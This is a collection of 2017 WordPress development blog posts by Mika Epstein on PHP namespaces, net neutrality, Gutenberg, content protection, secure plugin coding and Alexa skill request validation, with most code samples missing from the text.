PHP 7.2 is on the horizon and one of the battles that we’re still facing is how to name our functions and classes. In WordPress, this is especially hard because we have to consider how our plugins and themes will be used in the global landscape.
## Everything Must Be Unique
If you’ve written a self-contained PHP app, you know that you can’t give two functions the same name. So you have `function enqueue_scripts` and `function enqueue_styles` and `function embed_content` but you can’t declare them twice. Names must be unique within an app.
When you consider the fact that all plugins and themes are third-party add-ons to WordPress, the naming situation gets messier. You can’t, for example, use `function get_the_excerpt()` because WordPress is using it. So you have to introduce prefixes to your plugin (let’s call it “Caffeinated”) like this: `function caff_get_the_excerpt()`
That works well until someone creates an add-on to your plugin, call it “Decaffeinated”, and they need to use `function decaff_get_the_excerpt()` which isn’t *so* bad, but “Tea Caffeinated” has to either use a prefix of `tea_caff_` or `caff_tea_` and the more you travel down the road, the messier it gets.
## Prevent Collisions
The whole point of this exercise in naming is, you see, to prevent collisions between your code and the parent projects you’re working with. You can’t use `__` as a function prefix, for example, because that’s magical in PHP land. You can’t use `wp_` or `wordpress_` in WordPress, because … well. You’re not WordPress.
But preventing collisions gets long and messy and convoluted and you end up with prefixes like `edd_stbe_` which *is* unique but can be difficult to remember what it’s for. That’s why, thankfully, we have the option of a little more selective naming.
## Selective Uniqueness
Back in PHP 5, the object model was rewritten to allow for better performance and more features. And this allows us to make Classes which contain our functions, named whatever we want:
This is extended to the add-on plugins, So we could have `class Decaffeinated` and `class Caffeinated_Tea` but within the classes, our functions are more simply named. Also we can call functions from one class into another, like Tea could call `Caffeinated::get_the_excerpt()` and easily filter that function.
Why is this good? Well it lets you keep the function names simple, but the class name distinctive and thus easier to remember.
## Simple Names are Better
One of the cardinal rules about domain names is that shorter is better. The same goes for functions and classes, to a degree. As Otto likes to say, a well named function doesn’t really need documentation. And one of the ways you can get a well named function is by putting it in a well named class. You can also use Namespaces.
Namespaces are magical. By adding `namespace Caffeinated;` to your plugin file, for example, you can then have a classname of `class Settings` and not have to worry about collisions, because your class name is prefixed automatically by the namespace. This extends to functions, as you can us `function admin` for admin settings in the Settings class, in the Caffeinated namespace. And to call that? Use `Caffeinated\Settings::admin();`
There’s a lot more you can do with Namespaces, of course, but using them to stop your code from crashing into other people’s, while still keeping names obvious, unique, and memorable? Well they’re pretty nifty.
## Remember: What’s Your Global?
At the end of the day, the big thing to remember is what your globals are.
- Outside of a class or namespace, a function is a global.
- Outside of a namespace, a class is a global.
- Outside of a namespace, a namespace is global.
Yes, you can have sub-namespaces. But the point is that top-level whatever you pick, be it a function, class, or namespace, *must* be named uniquely and distinctly and, in my opinion, relative to the code it’s in. Naming things generically ends in tears as they’ll probably conflict.
**Categories:** How It Is
**Tags:** development, php, wordpress
---
### [Fight For The Future: Battle for the Net](https://halfelf.org/2017/fight-future-battle-net/)
**Published:** July 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The Battle for Freedom continues. Here's how you can fight back.
**Content:**
On July 12, 2017, we fight for the internet. Again.
I know. Didn’t we *just* do this? Well we did, and we have to do it again.
## What Is Net Neutrality?
Net neutrality is the principle that Internet providers don’t get to control what we see and do online. Think of it like if your phone company got to decide what numbers you could call and when. Back in 2015, we managed to get fairly strong net neutrality laws from the FCC (the US Federal Communication Commission) which stopped Internet providers from blocking, throttling, and paid prioritization—”fast lanes” for sites that pay, and slow lanes for everyone else.
## Isn’t that like TV?
Yes it is! On your TV, you can only watch the stations you pay for. Now imagine the Internet that way. The problem though is that we don’t just use the Internet to watch movies. We use it to work, to develop code like WordPress, and to communicate world wide with like minded people to do all of that.
## What’s the battle for?
Comcast and Verizon want to end net neutrality so they can control what we see and do online. It’s that simple. They want it to look like TV so they can say that we can’t work with our fellow developers in Serbia or Iran. They want to monitor all our communication with those people as well (which in the case of WordPress isn’t really a hinderance but still…).
## What can we do?
[Fight back](https://www.battleforthenet.com)!
Change your websites so people see the damage being done. Inconvenience the hell out of them. Make everyone notice and get them aware. Even if they watch Fox News.
The [Fight for the Future](https://www.fightforthefuture.org) has started the [Battle for Net Neutrality](https://www.battleforthenet.com) just like they did in 2014 with [The Great Internet Slowdown](https://www.battleforthenet.com/sept10th) and like they do today with [Blackout Congress](https://www.blackoutcongress.org).
## How do we fight back?
Add the [Battle For The Net Widget](https://github.com/fightforthefuture/battleforthenet-widget) to your website.
If you’re running WordPress, I made a [Fight for the Future Alerts Plugin](https://wordpress.org/plugins/fftf-alerts/), which lets you decide which alerts you want to show. It currently only supports the upcoming Battle for the Net and the Blackout Congress, but I plan to add other on-going events as they occur.
You can also use [the Cat Signal](https://wordpress.org/plugins/cat-signal/) which dynamically loads the right alert for you at the right time. The reason this is different is that not everyone wants to run an extra javascript all the time on their websites. Page speed is important after all. Plus they may not *want* to show every single alert.
**Categories:** How To
**Tags:** coding, freedom, wordpress
---
### [FacetWP, JSON API, and WP_Query Searches](https://halfelf.org/2017/facetwp-json-api-wp_query-searches/)
**Published:** July 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Telling FacetWP not echo it's code comments in certain places. Like JSON API output.
**Content:**
One of the ways that [FacetWP](https://facetwp.com) works is that it adds `\` to the source of your outputted page when it detects you used a search query and it can’t find it’s usual classes. This is so that it’s various features like refreshes and so on. It’s a good thing.
At least it is until you’re trying to use a WP\_Query based search to find titles “like” something, and you find your JSON output prefixed…
## Mostly Harmless
Most of the time when you see `\` in the source code, you don’t care. It doesn’t impact anything and it helps Facet work. This is especially important when you have a ‘weird’ theme or plugins that mess with output.
The issue is that this is how Facet decides if you need that output:
Most of the time, that makes perfect sense. It just happens that I’m calling search in a place where that output is a bad idea. Like this:
{“id”:6294,”name”:”Alex”,”shows”:”Witches of East End”,”url”:”https:\\/\\/tv.lezpress.dev\\/character\\/alex\\/”,”died”:”alive”}
Whoops.
## Annoying, But Not Impossible, To Fix
After bashing my head in for a while, I grep’d the code for Facet, found where it was being set, and then read the [help document on `facetwp_is_main_query`](https://facetwp.com/documentation/facetwp_is_main_query/) which told me that I could filter the function.
In this case, I needed to set the value to false to get it to stop outputting, so I used this:
Be careful *where* you put that by the way. If you put it on all pages, you’ll break your Facets. I put it in the function that generates the JSON output which limits it heavily, just as I want it to.
**Categories:** How To
**Tags:** facetwp, json, wordpress
---
### [This Post Was Written on Gutenberg](https://halfelf.org/2017/post-written-gutenberg/)
**Published:** June 30, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Overall, I like Gutenberg, but it's rough and has some bugs.
**Content:**
I think … I like it and I don't like it. Yeah that was the worst review ever, so let me explain.
## Overall, I like the direction
I'm a big text-editor person. I like the control, I'm comfortable in HTML, and I really only used the visual editor in the last 3 years because I felt to *fully* support people with WordPress, I needed to do so. Naturally this means I'm probably the least likely candidate to like Gutenberg. But I do. ## I don't like the animations
The transition animations feel 'off' to me. When I start typing, the icons for styles (bold and italic and so on) vanish, which is nice, but they reappear when I move my mouse. This is a problem if I want to go back and edit a previous block. Things are cut off. ## I like that everything is a block
The simple idea "Everything is a block" is really nice. I can understand this easily, and it was no hard jump to think of my content as blocks. Moving blocks around is also nice. The idea of blocks and modular content suits me. ## I don't like that 'tab' doesn't work
When I'm writing in sections, blocks, I can't use TAB to navigate back and forth. Yes, I want too. Since I can't use my arrow keys either, it's really annoying. Navigating by keyboard is a huge part of what I do daily, and I like to keep that. ## I like that I can use Markdown\* The `\*` is because I can *kind of* use markdown. And by kind of what I mean is in the above line, I used `##` to make the H2 block. On view, it works. In the editor though it looks like this: I'm not super fond of that. I expected it to magically transform. ## I don't like the meta-box experience Okay. This is the advanced user stuff. But I use meta boxes. I spend a lot of time [making my meta boxes fix the screen space](https://halfelf.org/2017/cmb2-size-matters/). I [added content to the publish box](https://halfelf.org/2017/add-item-publish-box/). And I'm not the only one out there who customizes the heck of the sidebar and the below the post area and … Yeah. I'm seriously concerned about that. Right now, all I see on the sidebar is a 'drop cap' toggle, which I probably won't use. I'm watching the [Advanced Drawer](https://github.com/WordPress/gutenberg/issues/952) discussion very closely with that in mind, since I have a post type with, literally, a dozen meta boxes. And no, not all will fit on the sidebar. ## As a whole… Gutenberg is really neat. It has some serious quirks, but that's why it's in beta testing at the moment. So please. Test it. As Chris Lema said, the people working on this plugin need our feedback. If you're a hardcore WordPress user, be that a developer or an advanced user, please [download the latest plugin](https://wordpress.org/plugins/gutenberg/) and [leave your comments over here.](https://github.com/WordPress/gutenberg/issues) To that end, comments here are closed.
**Categories:** How It Is
**Tags:** behavior, editor, testing, wordpress
---
### [Still Don't Disable Right Click](https://halfelf.org/2017/still-dont-disable-right-click/)
**Published:** July 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Protecting your site by disabling right click is the wrong answer.
**Content:**
Back in 2011, I wrote about [not disabling right-click](https://halfelf.org/2011/dont-disable-right-click/). That page still gets a reasonable amount of traffic and it's time for a brief revisit.
## The Only Way to Protect Data Is Not To Have It Online
Let's start with the lesson everyone needs to learn. There remains but one and only one way to protect your data online. There is only one sure-fire way to make sure your photos aren't stolen, your videos aren't leaked, and your content isn't ripped off. Don't put anything online that you're not alright with having taken from you. This sucks. I know. This is pretty horrid life advice, but the fact is that as soon as you put something up on the Internet, and people like it, they will take it. Worst, they'll claim it as their own. I really hate that one. ## You Can Still Protect Content
This isn't all bad news. You can still have content that is protected from re-use, it not actual theft, but you have to be intelligent about it. You have to think about what you're protecting and why. Protecting all the images that viewers see on your site is a lost cause. There are just too many ways to download them. Instead, it's a matter of cutting your losses, protecting only what *must* be protected, and then intelligently guarding what's left. And here are my simple rules for content protection: 1. Watermark images you don't want reused
2. Server protect folders that store downloadable data (i.e. .htaccess )
3. Hide the URLs for downloadable data
That's it. Three rules. ## But What About…
No. What? You want me to talk about how Instagram protects images from right-clicks and, thus, downloads? You want me to point out that even [Wix tells you how to protect right-click](https://support.wix.com/en/article/adding-and-setting-up-the-right-click-protect-app)? You think I should tell people how Getty images uses code to watermark *and* right-click protect? It doesn't matter. As Wix so rightly points out, anyone who knows how to view source code could get the images anyway. And trust me, people who want your images will work hard and learn that. They'll quickly figure out how to get around it. You can get around Getty images, but they do the most important thing of all. They *know* you're going to take their low-resolution images. They're okay with that loss kind of – I don't recommend it as they'd sued people over re-use. But they will *absolutely* take you down if you 'steal' their high resolution images, because the only way to do that is to make an account with them and purchase. They out and out hide the images from anyone who didn't buy them. They're locked behind a user-account. The lesson you can take away is this: The only winning move? Is not to play.
**Categories:** How It Is
**Tags:** development, images, website
---
### [Review: Do The Twist](https://halfelf.org/2017/review-do-the-twist/)
**Published:** July 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The Twist+ charger from OneAdaptr really was perfect in Europe and beyond!
**Content:**
When I got ready to go to WordCamp Europe this year, I realized I needed a new adapter. I had one, and it worked, but it also was highly imperfect as it required me to charge everything through my laptop. You know that drill, right?
Like a lot of road warriors, I travel with about four USB plugs and it’s a mess. It’s always looking for good plugs in a hotel room, and hoping I can charge everything. I used to have a cheap USB hub, but it shorted out. Cheap. I knew what I needed, and it was a charging ‘station.’ But I wanted one that would work ‘universally.’
## The Drama Of Plugs
I don’t actually remember how I found this. It may have actually been an ad that popped up when I was searching for chargers. I’d been thinking about getting a multi-outlet travel power strip with a couple USB ports. My constant worry with those is the 3-prong US outlet isn’t actually universal here. I’ve been in a lot of nice hotels that don’t have them. Worse, converting from 3-prong to European outlets has, in summer at least, caused a power short.
Seriously, I blew out the power on my floor in Spain once. Sorry.
## OneAdaptr to Bind Them
And then I ran into OneAdaptr. At first I was skeptical of the idea. While I had a universal adapter, the sort you can plugin anything into and get anything back out of, this was slightly different.
If you’ve got a Mac laptop, you’re familiar with the odd way you can change your power adapter to use the 2-prong or grab an extension and use a 3-prong. Backpacking off that concept, the Twist+ adapter lets you plugin your laptop right into the base, while leaving you **four** USB outlets.

This is the [TWIST+ World Charging Station](https://oneadaptr.com/collections/oneadpatr/products/twist-plus-world-charging-station). And I’m a super fan.
## How I Use It
First, yes, I use it entirely as intended, plugging my laptop and all my devices in. But I actually use it *more* as a USB hub. Shoving it into my purse, I was able to whip it out at a dinner with friends and plug *all* our devices in to charge. One of them had a 3-in-1 USB charging cable, and we ended up with 6 devices all plugged in and charging.
This works well with my ‘style’ as I tend to plugin laptops to charge while I shower and clean up at the end of the day. By the time I’m done, the laptop is charged and goes away, and the hub gets plugged in at my nightstand to charge a Watch, a phone, and an iPad. It could even do another phone without breaking a sweat. And in the absolute worst case? I could plug in my laptop and get two more ports.
If you just want a USB hub, they (will soon) have a [World Charging Station](https://oneadaptr.com/collections/oneadpatr/products/twist-world-charging-station) which looks about perfect for a lot of things.
**Categories:** How It Works
**Tags:** hardware, macintosh, review, travel
---
### [Plural URLs](https://halfelf.org/2017/plural-urls/)
**Published:** June 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some fun with plurals and WordPress URLs.
**Content:**
URLs can be hard. When you have custom post types in WordPress it can be harder.
Take, for example, a custom post type for videos. Do you want your URLs to be `http://example.com/videos/video-name/` or `http://example.com/video/video-name/` ? And do you want the archive to be `http://example.com/videos/` or `http://example.com/video/` ? And what happens when you change your mind?
Thankfully, WordPress lets you do some weird things.
## Pick Your Default
Let’s look at the video/videos idea for a moment. Individual posts should be `video` but the archive should be `videos` in order to grammatically make sense. When you make your custom post type there’s a parameter called `has_archive` – by default it’s false. If you make it true, then it’ll have the same ‘base’ as your custom post types.
But. If you make it a *string* then you can make it ‘videos’ or ‘photos’ and magically your archives will have those names. That makes it pretty easy to change, just remember to re-save your permalinks after. I personally recommend doing a redirect so that `video` goes to `videos` (and `videos/postname` go to `video/postname`) so that any random bad URLs would still be caught.
Remember that you can leave it false and make a page to be a placeholder page, or you use `archive-{post_type}.php` to customize it further.
## When You Need Both
But… What if you need both?
This is probably a bad idea, but let’s pretend you want to have both video and videos work for all cases. That’s when you’ll need something like this:
In that example, I have the slug for my custom post types set to the singular, and then the `$plural_types` array has the correct plural and the associated custom post type. This is tossed into a for-loop that creates a custom rewrite rule that will redirect.
**Categories:** How To
**Tags:** custom post types, urls, wordpress
---
### [Expect the Unexpected](https://halfelf.org/2017/expect-the-unexpected/)
**Published:** June 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Never, ever, trust anyone to be right all the time. Especially you.
**Content:**
The other day, while reviewing a plugin, I told someone that their code was okay, but it could be better.
They had this:
And I said they should do this:
They asked why, since the only possible input were 1 and -1.
## Users Are Weird
It’s hard to explain why users are so weird, but they are. Any time you have post data that a user can input, a user will find a way to intentionally or accidentally put in bad data. I think perhaps the best way to explain it is that users are like toddlers. You can baby proof your house, but they’ll figure out how to get into the flour and suddenly your kitchen looks like an episode of *Cutthroat Kitchen* and good luck cleaning it up.
The point is this. Even if your data is only *meant* to be a 1 or a -1, you have to think beyond what the code should be and assume it will, one day, be what it’s it.
## Broaden Your Mind
The basic rule of any input screen is that users will do what they do. They just will. They use code in ways you didn’t imagine, and that’s okay. And *even if* you have a check box, which logically cannot be altered beyond checked or un-checked, someone will do something outside your expectations.
The easiest way to understand it is to think about hackers. The whole reason we sanitize checkbox data is not that we expect a user to make a phenomenal mistake, but we expect a hacker to show up and try to back-door our work. We cannot trust that every user has good intentions. This is even more common in WordPress, since anyone can download your code, examine in for weaknesses, and then attack.
## Angry People Do Bad Things
If I had a nickel for every time I heard “But an admin would never…” I’d be rich.
A *good* admin would never, intentionally, break their own system, this is true. But an admin who was just fired, and hasn’t had their credentials revoked yet? Oh gosh, can they *ever* be evil. When a person was fired at a job I once had, they went into the test lab, took *all* the diskettes, and tossed them in the dumpster. The protocol for handling people being fired was changed that day, but all it took was one angry admin, and we had to go dumpster diving for 3.5″ floppy disks.
No, it wasn’t fun.
## Trust No Data
I never trust data. Not even on code only I use. I always assume I can be tricked into doing something dangerous, or that I’ll make a mistake while using a system. Humans make mistakes. You can’t trust them to be right all the time, and you can’t trust them to be *good* all the time.
That means it becomes our responsibility, as developers, to do the following:
1. Make sure the data entered is sanity-checked
2. If it’s not sane, fallback to a safe default or throw a good error
But never, ever, trust anyone to be right all the time. Especially you.
**Categories:** How It Is
**Tags:** development, security, wordpress
---
### [Linear Regressions in PHP](https://halfelf.org/2017/linear-regressions-php/)
**Published:** March 22, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using PHP to calculate trendiness
**Content:**
Sometimes math exists to give me a headache.
In calculating the deaths of queer females per year, my wife wondered what the trend was, other than “Holy sweat socks, it’s going up!” That’s called a ‘trendline’ which is really just a linear regression. I knew I needed a [simple linear regression](https://en.wikipedia.org/wiki/Simple_linear_regression) model and I knew what the formula was. Multiple the slope by the X axis value, and add the intercept (which is often a negative number), and you will calculate the points needed.
Using Google Docs to generate a trend line is easy. Enter the data and tell it to make a trend line. Using PHP to do this is a bit messier. I use [Chart.js](http://chartjs.org/) to generate my stats into pretty graphs, and while it gives me a lot of flexibility, it does not make the math easy.
I have an array of data for the years and the number of death per year. That’s the easy stuff. As of version 2.0 of Chart.js, you can stack charts, which lets me run two lines on top of each other like this:
But. Having the data doesn’t mean I know how to properly generate the trend. What I needed was the most basic formula solved: `y = x(slope) + intercept` and little more. Generating the slope an intercept are the annoying part.
For example, slope is `(NΣXY - (ΣX)(ΣY)) / (NΣX2 - (ΣX)2)` where,
- x and y are the variables.
- b = The slope of the regression line
- a = The intercept point of the regression line and the y axis.
- N = Number of values or elements
- X = First Score
- Y = Second Score
- ΣXY = Sum of the product of first and Second Scores
- ΣX = Sum of First Scores
- ΣY = Sum of Second Scores
- ΣX2 = Sum of square First Scores
If that made your head hurt, here’s the PHP to calculate it (thanks to [Richard Thome](https://richardathome.wordpress.com/2006/01/25/a-php-linear-regression-function/) ):
That spits out an array with two numbers, which I can plunk into my much more simple equation and, in this case, echo out the data point for each item:
And yes. This works.

**Categories:** How To
**Tags:** charts, math, php
---
### [Secure Mindsets in Plugins](https://halfelf.org/2017/secure-mindsets-plugins/)
**Published:** June 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Keeping the mindset of security and what it means to you yesterday, today, and tomorrow.
**Content:**
At WordCamp Europe last week, I talked about the basics of plugin development. Since I had a mixed bag of experiences, I decided not to actually write a plugin in the class, but instead I took Hello Dolly and edited it. I discussed how the plugin worked, that an action called a function, which returned a value, and showed the interconnectivity. In this way, the attendees could understand the big picture of how code comes together.
But at the end, with five minutes, I touched on an important aspect of plugins that Hello Dolly doesn’t do much with, because it doesn’t have to.
I talked about security.
## Past You
In the past, you probably done insecure things. Have you ever left your car unlocked in the driveway while you ran the groceries inside? We all do things that are insecure or unsafe. This is normal. Similarly, we have done insecure code. In the past, all of us, when we begin, we write code to perform actions without thinking about how it will be used globally. We don’t worry about safe, we worry about functions.
There’s nothing wrong with this. We are often focus driven designers, fueled by passion and desire, so we want to *do* and not worry about the details.
## This Morning’s You
That said, when we do work in that way, we get ourselves into trouble when we ignore security. We assume people will only use the code in the right way, because it’s obvious what is right and what is wrong. I try not to say ‘obvious’ or ‘simple’ when talking about code or interfaces, because they are absolutely never, not once, obvious or simple. When I got my Apple Watch, the UX of Force Touch wasn’t obvious to me. It’s not simple now, since it can be a bit touchy, but it’s not difficult.
In the same vein, we all know that users do weird shit. Really weird shit. They put text in fields that should only gen numbers. They put numbers in for email. They copy paste without thinking. And you know that. You’ve seen it.
## The Right Now You
Having read that, you’re hopefully thinking “how can I make my code secure?”
When we talk about basic security, we mean four things:
1. Validate your data
2. Sanitize what you save
3. Escape what you output
4. Verify a human meant to do it
That’s it. Make sure a date is a date and an email is an email. Make sure you save the data in a way that doesn’t put other data at risk. Remove any possibly dangerous characters from what you show to users. Always make sure someone meant to do the action. WordPress has [over a dozen Sanitize and Escape functions](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data) to help make sure you save the right data and it has [nonces](https://codex.wordpress.org/WordPress_Nonces) to help make sure you save when you should.
They’re very complex, but at their heart, they do those four things.
## Future You
The you of tomorrow will appreciate the you of today, if you remember to never trust your data. People typo. People make mistakes. People do bad things on purpose. All of that just happens. And if today, you learn how stop those bad things, tomorrow’s you will look back on you with love and thanks. Your users will thank you. Your next future will love you even more.
Security isn’t just https and good passwords. It’s a mindset to remember that anything passed to your code *might* be attacked. It’s a mindset that good users do bad and dumb things. It’s a mindset that mistakes happen. And it’s a mindset that being aware of the whole of your code, how it all comes together, must always include validation, sanitization, escaping, and nonces.
**Categories:** How It Works
**Tags:** essay, security, wordpress
---
### [Chassis - When VVV is Too Much](https://halfelf.org/2017/chassis-vvv-much/)
**Published:** June 23, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It won't be everything to everyone, but it can be something for most people.
**Content:**
When I need to do WordPress core development, I use [VVV](https://varyingvagrantvagrants.org). It’s great for multiple versions of WordPress, a copy of [WordPress Meta](https://github.com/WordPress/meta-environment), and it’s all done in one go.
But when I’m developing my *own* code, I want something a little lighter and simpler. I’ve been using [Local](http://local.getflywheel.com) for that for a while now. It involved [a few weird tweaks](https://halfelf.org/2017/local-dont-need-kitchen-sink/) but I was quite fond of it until the 2.0 upgrade. That’s because they broke the tool I needed most: [Addon Volumes](https://github.com/getflywheel/local-addon-volumes).
The current status is that [it’s broken](https://github.com/getflywheel/local-addon-volumes/issues/4) and the developer misjudged how many people used it. These things happen, but for me this was the *primary* reason I used it. So that meant it was time to look at my options again!
## Chassis
Made by the quirky and original [Human Made](https://hmn.md), [Chassis](http://chassis.io) is a cross between VVV and Local.
Like VVV, it’s Open Source. Like Local, it’s fast. Like VVV, it’s command line. Like Local, you can map to your hard drive. And that last reason was why I wanted to use it.
Look. There are a lot of reasons to use Chassis. The fact that it’s a server, so you can test out things like Memcached and PHP versions and upgrades is a big one. The fact that it’s fast to install and setup is another. But at the end of the day, I need my dev environment to do the following things.
1. Be ‘easy’ to rebuild
2. Have access to WP-CLI
3. Boot fast
4. Have a GUI SQL editor
5. Use my dev code, where I want it used from
## My Development, My Way
The thing I hate about most dev environments is that they want you to put your code in their locations. MAMP, VVV, Local, and DesktopServer *all* prefer you to put your dev code in the folder for your dev site.
I don’t work that way. All my code for all my WP sites live in `~/Development/repositories/NAME` or `~/Development/github/NAME` or `~/Development/wordpress/plugins/NAME` and this is a system that works for me. I have all my dev code in the Development folder, and I’m consistent about it.
Furthermore, when I use a local host install to test, I may use the same plugin on multiple sites. I try to reuse as much code as possible, after all.
This means my headache is *always* trying to some how symlink my development folders to my development site. With MAMP and Desktop Server I used rsync (and I was sad). With Local I used the broken add-on. With Chassis, it’s actually built in!
## Build The House
Chassis touts that it wants to be invisible. In order to do that, they separate WordPress and your code, recommending you put your code in the `/content/` folder. This is great, but as we mentioned, I want to have my code in another spot, so I need to map folders.
This can be done in the “Synced Folders” of the `config.yaml` file. I’ve added this:
Run a reload and a provision of vagrant and it all worked. That’s right, it was all silently symlinked and had full access to all my code in all the right places… Except…
## Mostly Ugly Plugins
You may notice this:
The first one didn’t work. The second one did, but *only* when I added this to my `local-config.php` file:
I’m still not sure if I broke it or if they did. What I do know is that I can rather easily build out my dev server, point it to my dev code, and everything’s working.
## Conclusion: Should you use Chassis?
I firmly hold that *all* developers should be familiar with the shell. Maybe they’re not all golden goddesses, but they should know how to get around, list files, and Google the basic commands like links, rsync, move, copy, and delete. With that in mind, if you’re a developer (be it a code developer, a design developer, or anyone else who peeks under the cover at the code), you should give Chassis a try.
It’s open source, so you can learn from it if you’re so inclined. It’s command line, so you can script it if you’re so inclined. You can separate your plugins from the plugins of the extensions, like [debugging](https://github.com/Chassis/Debugging), and you can write your own if you want.
Basically yes, you should use Chassis. It won’t be everything to everyone, but it can be something for most people.
**Categories:** How To
**Tags:** chassis, local development, wordpress
---
### [POST Isn't Just For Posting](https://halfelf.org/2017/post-isnt-just-posting/)
**Published:** June 16, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When is a post not a post?
**Content:**
I’m taking a moment here to explain something that confused the hell out of me when I was getting into the JSON API. In short, I was confused about what POST meant in the JSON API.
## POST vs GET
The official documentation mentions this:
> Want to get your site’s posts? Simply send a `GET` request to `/wp-json/wp/v2/posts`. Update user with ID 4? Send a `POST` request to `/wp-json/wp/v2/users/4`. Get all posts with the search term “awesome”? GET `/wp-json/wp/v2/posts?search=awesome`. It’s that easy.
From that I inferred that if I was updated content on my site, I would use a POST call. Otherwise, I’m always going to be using GET to get data. Makes sense. If you want to get the data on a specific post, you do a get for `/wp-json/wp/v2/posts/1234` and get that post’s data. Store the JSON output as a parameter in your plugin, let’s say, and Bob’s your father’s brother’s husband.
I was wrong.
## Alexa Posts
When I started working with Alexa I was confounded. It told me [it sent a `POST` request to my site](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/alexa-skills-kit-interface-reference#http-header). I stared at that for a while. I’d been assuming that when I asked Alexa something, I’d be able to tell it to do a `GET` request from `/wp-json/MYAPP/v1/MYSKILL/parameter`. After all, I’m not *posting* data.
But then I thought about it a little bit more. A straightforward `GET` request gets data from a URL without interaction. A `POST` posts data to a site, and you decide what to do with it. Most of the time when we think of a `POST` action happening, we think of updating data.
## POST doesn’t have to mean update
A `POST` is just sending data to your JSON API. It posts to your site.
That’s why passing the `WP_REST_Request $request` data to your function gives you magical access to the request data. And from that we can grab all the data [Alexa requests send to your site](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/handling-requests-sent-by-alexa#getting-the-application-id-for-a-skill), which lets us parse the data and make decisions on our replies.
Now like I said before, what you do with the POST is up to you. But that explains a lot about why Amazon is so picky about making sure a request came legit from them. Especially since you can order stuff from Amazon…
“Hey Alexa, can you tell TV shows to stop killing off queer characters?”
**Categories:** How It Works
**Tags:** alexa, json, wordpress
---
### [Custom Alexa Skills and WordPress](https://halfelf.org/2017/custom-alexa-skills-wordpress/)
**Published:** June 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Connecting Alexa and WordPress, securely.
**Content:**
Before you start, please note that there is no Amazon Alexa SDK for PHP. And this is a *big* problem.
An SDK is a software development kit that helps standardize the development of apps for the software. Using an SDK is basically using a standard library that everyone can access and call and not reinvent the wheel all the bloody time. And Amazon, for whatever reason, has decided that they’d rather push their Lambda hosting, which yes they charge you for, instead of clearly and cleanly document PHP code. Node.js? No problem. PHP? You’re on your own.
Rant aside, I have now a custom Amazon Skill, self hosted, and powered by WordPress.
## Amazon’s Requirements
On Monday I showed you how to build a very generic skill. It had no options, and it was actually missing a critical piece. You see, Amazon has [six basic requirements to be an app](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/developing-an-alexa-skill-as-a-web-service#requirements-for-your-web-service):
1. The service must be Internet-accessible.
2. The service must adhere to the Alexa Skills Kit interface.
3. The service must support HTTP over SSL/TLS, leveraging an Amazon-trusted certificate.
4. The service must accept requests on port 443.
5. The service must present a certificate with a subject alternate name that matches the domain name of the endpoint.
6. The service must validate that incoming requests are coming from Alexa.
The first five are pretty normal. If it’s not internet accessible, its not going to work. Same with the adherence to the skills kit interface. But that last one was surprisingly difficult and annoying. Mostly because of that lack of a standardized PHP SDK.
Basically there *isn’t* a standard way to validate that incoming requests are coming from Alexa, but boy howdy, are there requirements.
## Validating Requests for Alexa
While it says the requirement is to validate the requests, that’s only one aspect of the game. The three basic parts are these:
- Verifying that the Request was Sent by Alexa
- Checking the Signature of the Request
- Checking the Timestamp of the Request
And none of those are really well documented for PHP. Thanks.
## The Code
In Monday’s post, I framed out the majority of the code that will be used. The change will be in this section:
It now shows this:
This makes two changes. First it’s grabbing the date from the weirdly stored JSON POST from Alexa and passing it to my `last_post` function. That code I’m skipping since taking the date, parsing it, and changing your output from `last_post` is beyond the score. No, I’m going to concentrate on the `alexa_validate_request` function.
You should take note of the success check `if ( $validate_alexa['success'] !== 1 )` however. You *must* use a rest response with a 400 because Amazon is very picky.
## alexa\_validate\_request
The brunt of the validation is to check if the URL came from Amazon, if the URL is on the certificate chain, if the certificate is legit, and finally if the request was made in the last 60 seconds. Which is a lot to look for.
In order to write this function, I forked [Rich Bowen’s Validate Echo request via PHP code](https://github.com/rbowen/validate-echo-request-php/) for WordPress. This takes into account some WordPress code that isn’t otherwise available:
Within that function, I reference two more: `alexa_valid_key_chain_uri` and `alexa_valid_cert` which parse the chain and validate the certificate.
## A Word About Testing…
The problem with all this weird code is that the only way to test is to use Amazon’s testing platform and that doesn’t actually throw back errors. The testing environment is fun, because you can type in ‘when was last post’ and it prepends “Alexa, ask HalfElf…” for you. And it shows you exactly what JSON it’s passing to your API *and* what your API retuned.
But…
In the event your API throws an error, you don’t get to see what the error was. No, you get a message saying that the API returned an invalid output.
Basically the Amazon API has no actual debugging if you’re trying to debug the connection requirements.
There may have been a lot of swearing involved on my end.
**Categories:** How To
**Tags:** alexa, amazon, echo, json, security
---
### [Hello World: WordPress, the Rest API, and Alexa](https://halfelf.org/2017/hello-world-wordpress-rest-api-alexa/)
**Published:** June 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A simple hello-world style skill for the Amazon Echo, powered fully by WordPress. No SDKs, no libraries.
**Content:**
I have a big issue with Amazon’s ‘documentation.’ Trying to learn how to do anything is akin to sniffing your cat’s butt to find out where the dog is. It’s written from a mindset I don’t share, it rarely has *practical* and functional examples, and the font is maddeningly small.
How I learn best is by creating a “Hello World” type app. Even if it’s just copy and pasting, by doing that, my brain is able to follow the pathways and understand the logic steps.
If you’re like me and have been swearing at Amazon just trying to make a simple ‘Hello World’ app for your Echo, here we go.
## The Outcome
To summarize what we want here, is we would like to be able to do is turn to our Echos and say this:
> Hey Alexa, ask HalfElf what the last post is.
And we want Alexa to reply:
> The last post on HalfElf was \[Post Name\]
This is really simple on purpose. While eventually we want to be able to ask for a post on a specific date, we’re not there yet. You’ve got to run before you can walk.
## The Design
